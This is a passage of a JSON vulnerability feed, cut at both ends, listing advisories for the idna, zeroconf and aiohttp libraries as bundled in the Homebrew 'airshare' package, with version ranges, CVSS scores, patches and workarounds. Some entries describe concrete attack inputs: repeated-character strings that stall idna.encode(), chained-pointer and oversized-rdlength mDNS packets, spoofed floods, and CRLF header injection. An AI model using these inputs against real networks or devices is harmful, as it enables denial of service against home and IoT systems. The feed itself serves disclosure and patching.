crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47180","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-9pgc-3ccv-5297","CVE-2026-47180","PYSEC-2026-3436"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.5","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.151.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.151.5","key":"pkg:pypi/zeroconf@0.151.5","resource":"zeroconf"}]},"summary":"zeroconf has unbounded recursion in DNS compression-pointer decoder that allows LAN-local denial of service","details":"### Impact\n\n`DNSIncoming._decode_labels_at_offset` recurses once per DNS-name compression pointer (RFC 1035 §4.1.4). Pointer cycles and label counts were capped, but the chain length of unique forward pointers was not. A single ~3 kB mDNS packet carrying ~1500 chained pointers drives the recursion past CPython's default limit, and `RecursionError` was not listed in `DECODE_EXCEPTIONS`, so it escaped `DNSIncoming.__init__` and was logged by asyncio's default exception handler.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can degrade the mDNS listener; that includes a guest on the same Wi-Fi, a compromised IoT device, or a container on a shared bridge. Replaying at a few hertz produces sustained CPU burn and log flooding, and mDNS-dependent features (HomeKit, Chromecast/Matter, AirPlay, printers) degrade while the attack is in flight.\n\n### Patches\nFixed in `zeroconf` 0.149.5 ([PR #1719](https://github.com/python-zeroconf/python-zeroconf/pull/1719)).\nUpgrade to `>= 0.149.5`.\n\n### Workarounds\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n- [PR #1719](https://github.com/python-zeroconf/python-zeroconf/pull/1719), fix\n- [Issue #1713](https://github.com/python-zeroconf/python-zeroconf/issues/1713), public tracking issue\n- [RFC 1035 §4.1.4](https://www.rfc-editor.org/rfc/rfc1035#section-4.1.4), [RFC 6762](https://www.rfc-editor.org/rfc/rfc6762), [CWE-674](https://cwe.mitre.org/data/definitions/674.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-9pgc-3ccv-5297"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1713"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1719"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47183","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-phvx-9mgw-67r5","CVE-2026-47183","PYSEC-2026-3437"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.6","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.151.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.151.5","key":"pkg:pypi/zeroconf@0.151.5","resource":"zeroconf"}]},"summary":"zeroconf: Unbounded exception-dedup state retains packet buffers via traceback frame locals, enabling LAN-local memory exhaustion","details":"### Impact\n`DNSIncoming._log_exception_debug` and the four `QuietLogger` exception-dedup methods stored an unbounded `_seen_logs` dict keyed by `str(sys.exc_info()[1])`. The seven `IncomingDecodeError` messages raised from `_read_name` / `_decode_labels_at_offset` (RFC 6762 §18 name-decoding error paths) all embed `self.source` — the peer's ephemeral source port, varying per packet — plus byte `offset` and pointer `link`, so every attacker-influenced combination produced a fresh dedup key. The stored value was the full `sys.exc_info()` triple, whose traceback's frame locals retained `self.data` (the raw inbound packet, up to 8966 bytes per RFC 6762 §17). Each unique malformed packet therefore pinned ~9 KB until process exit.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can drive memory growth at line rate; that includes a guest on the same Wi-Fi, a compromised IoT device, or a container on a shared bridge. On memory-constrained deployments (Home Assistant on Raspberry-Pi-class hardware is the canonical victim) sustained traffic trivially OOM-kills the process, and mDNS-dependent features (HomeKit, Chromecast/Matter, AirPlay, printers) degrade or fail.\n\n### Patches\nFixed in `zeroconf` 0.149.6 ([PR #1717](https://github.com/python-zeroconf/python-zeroconf/pull/1717)). Upgrade to `>= 0.149.6`.\n\n### Workarounds\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n- [PR #1717](https://github.com/python-zeroconf/python-zeroconf/pull/1717), fix\n- [Issue #1714](https://github.com/python-zeroconf/python-zeroconf/issues/1714), public tracking issue\n- [RFC 6762 §17](https://www.rfc-editor.org/rfc/rfc6762#section-17), [RFC 6762 §18](https://www.rfc-editor.org/rfc/rfc6762#section-18), [CWE-400](https://cwe.mitre.org/data/definitions/400.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-phvx-9mgw-67r5"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1714"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1717"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47184","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-rfg2-pjw2-56x2","CVE-2026-47184","PYSEC-2026-3439"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.7","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.151.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.151.5","key":"pkg:pypi/zeroconf@0.151.5","resource":"zeroconf"}]},"summary":"zeroconf has unbounded DNS record cache that allows LAN-local memory exhaustion via multicast flood","details":"### Impact\n\n`DNSCache._async_add` inserted every response record into `cache`, `_expirations`, `_expire_heap`, and `service_cache` with no cap on entry count. The only pre-existing protection was a PTR TTL floor (`_DNS_PTR_MIN_TTL = 1125` s, RFC 6762 §10), which actually *prolonged* attacker-injected records, and a periodic `async_expire` on `_CACHE_CLEANUP_INTERVAL = 10` s that could not keep up with a flood.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can multicast valid mDNS responses with unique names (RFC 6762 §11 allows up to 253 bytes each) and watch them accumulate. On memory-constrained deployments (Home Assistant on Raspberry-Pi-class hardware is the canonical victim) sustained traffic OOM-kills the process; under lighter load, every cache lookup and every periodic expiry pass grows linearly slower, starving asyncio and breaking unrelated zeroconf consumers (discovery, registration, ServiceBrowser callbacks). A second variant — re-multicasting cached records with shifting TTLs — grows `_expire_heap` unbounded between cleanup runs without touching `cache` or `_total_records`.\n\n### Patches\n\nFixed in `zeroconf` 0.149.6 ([PR #1718](https://github.com/python-zeroconf/python-zeroconf/pull/1718)). Upgrade to `>= 0.149.6`.\n\n### Workarounds\n\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n\n- [PR #1718](https://github.com/python-zeroconf/python-zeroconf/pull/1718), fix\n- [Issue #1715](https://github.com/python-zeroconf/python-zeroconf/issues/1715), public tracking issue\n- [RFC 6762 §10](https://www.rfc-editor.org/rfc/rfc6762#section-10), [RFC 6762 §11](https://www.rfc-editor.org/rfc/rfc6762#section-11), [CWE-400](https://cwe.mitre.org/data/definitions/400.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-rfg2-pjw2-56x2"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1715"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1718"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-47265","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-hg6j-4rv6-33pg","CVE-2026-47265","PYSEC-2026-2105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP is vulnerable to cross-origin redirect with per-request cookies","details":"### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47265"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-48045","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-9663-mqmp-p9mm","CVE-2026-48045","PYSEC-2026-3435"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.12","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.151.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.151.5","key":"pkg:pypi/zeroconf@0.151.5","resource":"zeroconf"}]},"summary":"python-zeroconf: Unbounded TC-deferred queue allows LAN-local memory exhaustion via spoofed-source flood","details":"### Impact\n\n`AsyncListener.handle_query_or_defer` retained every truncated (TC-bit) incoming query in `self._deferred[addr]` and armed a per-addr timer in `self._timers[addr]` that flushed the reassembled query within ~500 ms (RFC 6762 §18.5). Neither the per-addr list nor the number of distinct `addr` keys was capped, and the dedup check (`for incoming in reversed(deferred): if incoming.data == msg.data`) ran O(N) over the per-addr list on every arrival.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can stream byte-distinct TC-flagged mDNS queries — each up to `_MAX_MSG_ABSOLUTE = 8966` bytes, with `DNSIncoming` retaining the raw `data` buffer plus parsed-record state. Trivially spoofed source IPs multiply the effect across `_deferred` / `_timers`, and the O(N) data compare burns CPU quadratically as each per-addr queue grows. On memory-constrained deployments (Home Assistant on Raspberry-Pi-class hardware is the canonical victim) sustained traffic OOM-kills the process; under lighter load, the per-arrival scan and event-loop scheduler starvation break unrelated zeroconf consumers (discovery, registration, ServiceBrowser callbacks).\n\n### Patches\n\nFixed in `zeroconf` 0.149.12 ([PR #1751](https://github.com/python-zeroconf/python-zeroconf/pull/1751)). Upgrade to `>= 0.149.12`.\n\n### Workarounds\n\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n\n- [PR #1751](https://github.com/python-zeroconf/python-zeroconf/pull/1751), fix\n- [RFC 6762 §18.5](https://www.rfc-editor.org/rfc/rfc6762#section-18.5), [CWE-400](https://cwe.mitre.org/data/definitions/400.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-9663-mqmp-p9mm"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1751"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/commit/b22c8ff19c66c68907d220a4823c0950f4fa93f7"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-48487","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-qc2x-6f54-m6h9","CVE-2026-48487","PYSEC-2026-3438"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.149.16","resource":"zeroconf","resource_purl":"pkg:pypi/zeroconf@0.151.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"zeroconf","subject_version":"0.151.5","key":"pkg:pypi/zeroconf@0.151.5","resource":"zeroconf"}]},"summary":"zeroconf: Unvalidated rdlength in record payload readers allows LAN-local cache corruption via crafted mDNS packet","details":"### Impact\n\n`_read_character_string` and `_read_string` in `src/zeroconf/_protocol/incoming.py` sliced `self.data[self.offset : self.offset + length]` and advanced `self.offset` by the declared `length` without checking it against `self._data_len`. Python's slice silently returns fewer bytes when the end index runs past the buffer, so a record whose 16-bit RDLENGTH (RFC 1035 §3.2.1) over-advertised by tens of kilobytes was constructed from a truncated payload, appended to `DNSIncoming._answers`, and committed to the cache before any later parse failure surfaced. The follow-up `_read_name` for the next record then failed, but the corrupt record had already entered the answer list and propagated to `DNSCache` and `ServiceInfo`.\n\nAny unauthenticated host on the local link (UDP/5353, `224.0.0.251` / `ff02::fb`) can multicast a single mDNS response carrying a TXT, HINFO, or A/AAAA record that advertises rdlength=65535 and only a handful of real payload bytes; consumers calling `ServiceInfo.properties` then parse the truncated bytes as if they matched the wire, and downstream integrations (Home Assistant and other zeroconf-driven discovery) trust the decoded record. The bug is parser-state desync rather than RCE, but it seeds the cache with attacker-shaped key/value and address records for a TTL window and is a building block for higher-impact chains.\n\nThe impact is likely lower than the other recently released advisories as there is no additional risk of OOM so the severity was manually set to low to override the score CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (6.5, Medium) since that doesn't fully consider the mDNS threat model.\n\n### Patches\n\nFixed in `zeroconf` 0.149.16 ([PR #1756](https://github.com/python-zeroconf/python-zeroconf/pull/1756)).  Note that this change originally intended to ship in 0.149.13 but we ran out of space on PyPI: see https://github.com/python-zeroconf/python-zeroconf/issues/1769\n\nUpgrade to `>= 0.149.16`.\n\n### Workarounds\n\nThere is no in-process workaround; upgrading is the fix. Otherwise, restrict mDNS (UDP/5353) to trusted Layer-2 segments via AP client isolation, guest-network separation, or host firewall rules.\n\n### Resources\n\n- [PR #1756](https://github.com/python-zeroconf/python-zeroconf/pull/1756), fix\n- [Issue #1752](https://github.com/python-zeroconf/python-zeroconf/issues/1752), public tracking issue\n- [RFC 1035 §3.2.1](https://www.rfc-editor.org/rfc/rfc1035#section-3.2.1), [RFC 1035 §3.3](https://www.rfc-editor.org/rfc/rfc1035#section-3.3), [CWE-130](https://cwe.mitre.org/data/definitions/130.html)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/security/advisories/GHSA-qc2x-6f54-m6h9"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/issues/1752"},{"type":"WEB","url":"https://github.com/python-zeroconf/python-zeroconf/pull/1756"},{"type":"PACKAGE","url":"https://github.com/python-zeroconf/python-zeroconf"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-50269","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-m6qw-4cw2-hm4m","CVE-2026-50269","PYSEC-2026-2106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: CRLF injection in multipart headers","details":"### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54273","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-4fvr-rgm6-gqmc","CVE-2026-54273","PYSEC-2026-2107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: HTTP/1 Pipelined Requests Queue Without Limit","details":"### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54274","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-xcgm-r5h9-7989","CVE-2026-54274","PYSEC-2026-2108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: Incomplete websocket frame payloads bypass memory limits","details":"### Summary\n\nIf an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.\n\n### Impact\n\nIf a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/14b6ee851fb16ec199acb950de0c82d476799e7d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xcgm-r5h9-7989"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54275","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-4m7w-qmgq-4wj5","CVE-2026-54275","PYSEC-2026-237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections","details":"### Summary\n\nThe `server_hostname` TLS SNI check can be bypassed when an existing connection is reused.\n\n### Impact\n\nIf an application makes multiple requests to the same domain, but with different per-request `server_hostname` parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.\n\n### Workaround\n\nDisable keep_alive if you need to change the `server_hostname` check between requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ca2b6c28a25726527a8b60f25960262a91ed0e0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54276","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-hpj7-wq8m-9hgp","CVE-2026-54276","PYSEC-2026-2109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges","details":"### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54277","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-63hw-fmq6-xxg2","CVE-2026-54277","PYSEC-2026-2110"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines","details":"### Summary\n\nIt is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.\n\n### Impact\n\nIf using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.\n\n-----\n\nPatch: 